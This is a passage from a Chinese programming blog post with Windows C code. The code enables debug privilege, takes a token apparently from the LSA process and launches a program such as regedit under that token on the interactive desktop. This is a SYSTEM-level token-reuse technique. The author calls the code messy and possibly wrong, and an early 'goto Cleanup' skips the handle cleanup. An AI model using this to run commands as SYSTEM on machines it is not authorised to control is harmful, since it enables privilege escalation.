           printf("%08x\n", Token);
           hToken = Token;
       }
       else if (!LogonUser(
               lpszUsername,
               lpszDomain,
               lpszPassword,
               LOGON32_LOGON_INTERACTIVE,
               LOGON32_PROVIDER_DEFAULT,
               &hToken) )
       {
          goto Cleanup;
       }

    // Save a handle to the caller's current window station.

       if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
          goto Cleanup;

    // Get a handle to the interactive window station.

       hwinsta = OpenWindowStation(
           "winsta0",                   // the interactive window station
           FALSE,                       // handle is not inheritable
           READ_CONTROL | WRITE_DAC);   // rights to read/write the DACL

       if (hwinsta == NULL)
          goto Cleanup;

    // To get the correct default desktop, set the caller's
    // window station to the interactive window station.

       if (!SetProcessWindowStation(hwinsta))
          goto Cleanup;

    // Get a handle to the interactive desktop.

       hdesk = OpenDesktop(
          "default",     // the interactive window station
          0,             // no interaction with other desktop processes
          FALSE,         // handle is not inheritable
          READ_CONTROL | // request the rights to read and write the DACL
          WRITE_DAC |
          DESKTOP_WRITEOBJECTS |
          DESKTOP_READOBJECTS);

    // Restore the caller's window station.

       if (!SetProcessWindowStation(hwinstaSave))
          goto Cleanup;

       if (hdesk == NULL)
          goto Cleanup;

    // Get the SID for the client's logon session.

       if (!GetLogonSID(hToken, &pSid))
          goto Cleanup;

    // Allow logon SID full access to interactive window station.

       if (! AddAceToWindowStation(hwinsta, pSid) )
          goto Cleanup;

    // Allow logon SID full access to interactive desktop.

       if (! AddAceToDesktop(hdesk, pSid) )
          goto Cleanup;

    // Impersonate client to ensure access to executable file.

       if (! ImpersonateLoggedOnUser(hToken) )
          goto Cleanup;

    // Initialize the STARTUPINFO structure.
    // Specify that the process runs in the interactive desktop.

       ZeroMemory(&si, sizeof(STARTUPINFO));
       si.cb= sizeof(STARTUPINFO);
       si.lpDesktop = TEXT("winsta0\\default");  //You can use EnumWindowStations to enum desktop

    // Launch the process in the client's logon session.

       bResult = CreateProcessAsUser(
          hToken,            // client's access token
          NULL,              // file to execute
          lpCommandLine,     // command line
          NULL,              // pointer to process SECURITY_ATTRIBUTES
          NULL,              // pointer to thread SECURITY_ATTRIBUTES
          FALSE,             // handles are not inheritable
          NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,   // creation flags
          NULL,              // pointer to new environment block
          NULL,              // name of current directory
          &si,               // pointer to STARTUPINFO structure
          &pi                // receives information about new process
       );

    // End impersonation of client.

       RevertToSelf();

       goto Cleanup;
       //return bResult; <------------------------------------------------------------------------

       if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
       {
          WaitForSingleObject(pi.hProcess, INFINITE);
          CloseHandle(pi.hProcess);
       }

       if (pi.hThread != INVALID_HANDLE_VALUE)
          CloseHandle(pi.hThread);  

    Cleanup:

       if (hwinstaSave != NULL)
          SetProcessWindowStation (hwinstaSave);

    // Free the buffer for the logon SID.

       if (pSid)
          FreeLogonSID(&pSid);

    // Close the handles to the interactive window station and desktop.

       if (hwinsta)
          CloseWindowStation(hwinsta);

       if (hdesk)
          CloseDesktop(hdesk);

    // Close the handle to the client's access token.

       if (hToken != INVALID_HANDLE_VALUE)
          CloseHandle(hToken);  

       return bResult;
    }

    BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
    {
       ACCESS_ALLOWED_ACE   *pace;
       ACL_SIZE_INFORMATION aclSizeInfo;
       BOOL                 bDaclExist;
       BOOL                 bDaclPresent;
       BOOL                 bSuccess = FALSE;
       DWORD                dwNewAclSize;
       DWORD                dwSidSize = 0;
       DWORD                dwSdSizeNeeded;
       PACL                 pacl;
       PACL                 pNewAcl;
       PSECURITY_DESCRIPTOR psd = NULL;
       PSECURITY_DESCRIPTOR psdNew = NULL;
       PVOID                pTempAce;
       SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
       unsigned int         i;

       __try
       {
          // Obtain the DACL for the window station.

          if (!GetUserObjectSecurity(
                 hwinsta,
                 &si,
                 psd,
                 dwSidSize,
                 &dwSdSizeNeeded)
          )
          if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
          {
             psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
                   GetProcessHeap(),
                   HEAP_ZERO_MEMORY,
                   dwSdSizeNeeded);

             if (psd == NULL)
                __leave;

             psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
                   GetProcessHeap(),
                   HEAP_ZERO_MEMORY,
                   dwSdSizeNeeded);

             if (psdNew == NULL)
                __leave;

             dwSidSize = dwSdSizeNeeded;

             if (!GetUserObjectSecurity(
                   hwinsta,
                   &si,
                   psd,
                   dwSidSize,
                   &dwSdSizeNeeded)
             )
                __leave;
          }
          else
             __leave;

          // Create a new DACL.

          if (!InitializeSecurityDescriptor(
                psdNew,
                SECURITY_DESCRIPTOR_REVISION)
          )
             __leave;

          // Get the DACL from the security descriptor.

          if (!GetSecurityDescriptorDacl(
                psd,
                &bDaclPresent,
                &pacl,
                &bDaclExist)
          )
             __leave;

          // Initialize the ACL.

          ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
          aclSizeInfo.AclBytesInUse = sizeof(ACL);

          // Call only if the DACL is not NULL.

          if (pacl != NULL)
          {
             // get the file ACL size info
             if (!GetAclInformation(
                   pacl,
                   (LPVOID)&aclSizeInfo,
                   sizeof(ACL_SIZE_INFORMATION),
                   AclSizeInformation)
             )
                __leave;
          }

          // Compute the size of the new ACL.

          dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));

          // Allocate memory for the new ACL.

          pNewAcl = (PACL)HeapAlloc(
                GetProcessHeap(),
                HEAP_ZERO_MEMORY,
                dwNewAclSize);

          if (pNewAcl == NULL)
             __leave;

          // Initialize the new DACL.

          if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
             __leave;

          // If DACL is present, copy it to a new DACL.

          if (bDaclPresent)
          {
             // Copy the ACEs to the new ACL.
             if (aclSizeInfo.AceCount)
             {
                for (i=0; i < aclSizeInfo.AceCount; i++)
                {
                   // Get an ACE.
                   if (!GetAce(pacl, i, &pTempAce))
                      __leave;

                   // Add the ACE to the new ACL.
                   if (!AddAce(
                         pNewAcl,
                         ACL_REVISION,
                         MAXDWORD,
                         pTempAce,
                        ((PACE_HEADER)pTempAce)->AceSize)
                   )
                      __leave;
                }
             }
          }

          // Add the first ACE to the window station.

          pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
                GetProcessHeap(),
                HEAP_ZERO_MEMORY,
                sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
                      sizeof(DWORD));

          if (pace == NULL)
             __leave;

          pace->Header.AceType  = ACCESS_ALLOWED_ACE_TYPE;
          pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
                       INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
          pace->Header.AceSize  = sizeof(ACCESS_ALLOWED_ACE) +
                       GetLengthSid(psid) - sizeof(DWORD);
          pace->Mask            = GENERIC_ACCESS;

          if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
             __leave;

          if (!AddAce(
                pNewAcl,
                ACL_REVISION,
                MAXDWORD,
                (LPVOID)pace,
                pace->Header.AceSize)
          )
             __leave;

          // Add the second ACE to the window station.

          pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
          pace->Mask            = WINSTA_ALL;

          if (!AddAce(
                pNewAcl,
                ACL_REVISION,
                MAXDWORD,
                (LPVOID)pace,
                pace->Header.AceSize)
          )
             __leave;

          // Set a new DACL for the security descriptor.

          if (!SetSecurityDescriptorDacl(
                psdNew,
                TRUE,
                pNewAcl,
                FALSE)
          )
             __leave;

          // Set the new security descriptor for the window station.

          if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
             __leave;

          // Indicate success.

          bSuccess = TRUE;
       }
       __finally
       {
          // Free the allocated buffers.

          if (pace != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

          if (pNewAcl != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

          if (psd != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

          if (psdNew != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
       }

       return bSuccess;

    }

    BOOL AddAceToDesktop(HDESK hdesk, PSID psid)
    {
       ACL_SIZE_INFORMATION aclSizeInfo;
       BOOL                 bDaclExist;
       BOOL                 bDaclPresent;
       BOOL                 bSuccess = FALSE;
       DWORD                dwNewAclSize;
       DWORD                dwSidSize = 0;
       DWORD                dwSdSizeNeeded;
       PACL                 pacl;
       PACL                 pNewAcl;
       PSECURITY_DESCRIPTOR psd = NULL;
       PSECURITY_DESCRIPTOR psdNew = NULL;
       PVOID                pTempAce;
       SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
       unsigned int         i;

       __try
       {
          // Obtain the security descriptor for the desktop object.

          if (!GetUserObjectSecurity(
                hdesk,
                &si,
                psd,
                dwSidSize,
                &dwSdSizeNeeded))
          {
             if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
             {
                psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
                      GetProcessHeap(),
                      HEAP_ZERO_MEMORY,
                      dwSdSizeNeeded );

                if (psd == NULL)
                   __leave;

                psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
                      GetProcessHeap(),
                      HEAP_ZERO_MEMORY,
                      dwSdSizeNeeded);

                if (psdNew == NULL)
                   __leave;

                dwSidSize = dwSdSizeNeeded;

                if (!GetUserObjectSecurity(
                      hdesk,
                      &si,
                      psd,
                      dwSidSize,
                      &dwSdSizeNeeded)
                )
                   __leave;
             }
             else
                __leave;
          }

          // Create a new security descriptor.

          if (!InitializeSecurityDescriptor(
                psdNew,
                SECURITY_DESCRIPTOR_REVISION)
          )
             __leave;

          // Obtain the DACL from the security descriptor.

          if (!GetSecurityDescriptorDacl(
                psd,
                &bDaclPresent,
                &pacl,
                &bDaclExist)
          )
             __leave;

          // Initialize.

          ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
          aclSizeInfo.AclBytesInUse = sizeof(ACL);

          // Call only if NULL DACL.

          if (pacl != NULL)
          {
             // Determine the size of the ACL information.

             if (!GetAclInformation(
                   pacl,
                   (LPVOID)&aclSizeInfo,
                   sizeof(ACL_SIZE_INFORMATION),
                   AclSizeInformation)
             )
                __leave;
          }

          // Compute the size of the new ACL.

          dwNewAclSize = aclSizeInfo.AclBytesInUse +
                sizeof(ACCESS_ALLOWED_ACE) +
                GetLengthSid(psid) - sizeof(DWORD);

          // Allocate buffer for the new ACL.

          pNewAcl = (PACL)HeapAlloc(
                GetProcessHeap(),
                HEAP_ZERO_MEMORY,
                dwNewAclSize);

          if (pNewAcl == NULL)
             __leave;

          // Initialize the new ACL.

          if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
             __leave;

          // If DACL is present, copy it to a new DACL.

          if (bDaclPresent)
          {
             // Copy the ACEs to the new ACL.
             if (aclSizeInfo.AceCount)
             {
                for (i=0; i < aclSizeInfo.AceCount; i++)
                {
                   // Get an ACE.
                   if (!GetAce(pacl, i, &pTempAce))
                      __leave;

                   // Add the ACE to the new ACL.
                   if (!AddAce(
                      pNewAcl,
                      ACL_REVISION,
                      MAXDWORD,
                      pTempAce,
                      ((PACE_HEADER)pTempAce)->AceSize)
                   )
                      __leave;
                }
             }
          }

          // Add ACE to the DACL.

          if (!AddAccessAllowedAce(
                pNewAcl,
                ACL_REVISION,
                DESKTOP_ALL,
                psid)
          )
             __leave;

          // Set new DACL to the new security descriptor.

          if (!SetSecurityDescriptorDacl(
                psdNew,
                TRUE,
                pNewAcl,
                FALSE)
          )
             __leave;

          // Set the new security descriptor for the desktop object.

          if (!SetUserObjectSecurity(hdesk, &si, psdNew))
             __leave;

          // Indicate success.

          bSuccess = TRUE;
       }
       __finally
       {
          // Free buffers.

          if (pNewAcl != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

          if (psd != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

          if (psdNew != NULL)
             HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
       }

       return bSuccess;
    }

    int main(int argc, char **argv)
    {
        HANDLE hToken = NULL;
        EnablePrivilege(SE_DEBUG_NAME);
        hToken = GetLSAToken();
        StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);
        return 0;
    }



    上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
    代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-)

  • 相关阅读:
    Unity3D 利用C#实现简单的代理模式Delegate(委托)
    代码删除文件夹,小心资源管理器报错,甚至崩溃【原】
    如何解决“应用程序并行配置不正确”问题?【原】
    STL,ATL,WTL的联系与区别
    C++虚函数表解析(转)
    学各国语言的网站大全
    The 500 Most Commonly Used Words in the English Language
    Top 100 English Verbs
    Top 100 words for advanced learners.
    TOP 100 MISSPELT/MISSPELLED WORDS IN ENGLISH
  • 原文地址:https://www.cnblogs.com/lzjsky/p/1893748.html
Copyright © 2020-2023  润新知